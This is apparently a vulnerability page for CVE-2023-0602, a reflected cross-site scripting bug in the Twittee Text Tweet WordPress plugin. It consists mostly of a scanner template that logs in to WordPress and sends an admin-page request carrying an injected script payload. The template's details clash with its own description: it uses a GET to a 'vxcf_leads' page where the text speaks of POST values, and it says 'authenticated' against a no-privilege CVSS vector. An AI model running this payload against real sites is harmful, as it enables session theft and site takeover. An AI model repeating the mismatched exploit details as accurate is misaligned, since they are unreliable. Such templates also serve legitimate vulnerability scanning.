CVE-2023-0602: Twittee Text Tweet <= 1.0.8 - Cross-Site Scripting

2025-08-01 Twittee Text Tweet PoC Public

Description

The Twittee Text Tweet WordPress plugin through 1.0.8 does not properly escape POST values which are printed back to the user inside one of the plugin's administrative page, which allows reflected XSS attacks targeting administrators to happen.

PoC

id: CVE-2023-0602

info:
  name: Twittee Text Tweet <= 1.0.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Twittee Text Tweet WordPress plugin through 1.0.8 does not properly escape POST values which are printed back to the user inside one of the plugin's administrative page, which allows reflected XSS attacks targeting administrators to happen.
  impact: |
    Authenticated attackers targeting administrators can inject malicious JavaScript through POST values in administrative pages to steal admin session cookies and gain control of the WordPress site.
  remediation: |
    Update Twittee Text Tweet plugin to a version newer than 1.0.8 that properly escapes POST values before outputting them in administrative pages.
  reference:
    - https://wpscan.com/vulnerability/c357f93d-4f21-4cd9-9378-d97756c75255
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0602
    - https://wordpress.org/plugins/twittee-text-tweet/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0602
    cwe-id: CWE-79
    epss-score: 0.00886
    epss-percentile: 0.57469
    cpe: cpe:2.3:a:johnniejodelljr:twittee_text_tweet:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: johnniejodelljr
    product: twittee_text_tweet
    framework: wordpress
  tags: cve2023,cve,wpscan,xss,wordpress,wp,wp-plugin,twittee-text-tweet,johnniejodelljr,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ez2u4g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains_all(body_2, "<script>alert(document.domain)</script>", "twittee")'
        condition: and
# digest: 490a00463044022030ccb88b8bd327c345002f51f3012360c42e737d2b401bd74d0396a6f0415d5302203b1cf22a3624b6c7a490e096defc1fbb5b085d7b1d6d404b01ebba6ef9dc4d97:922c64590222798bb761d5b6d8e72950

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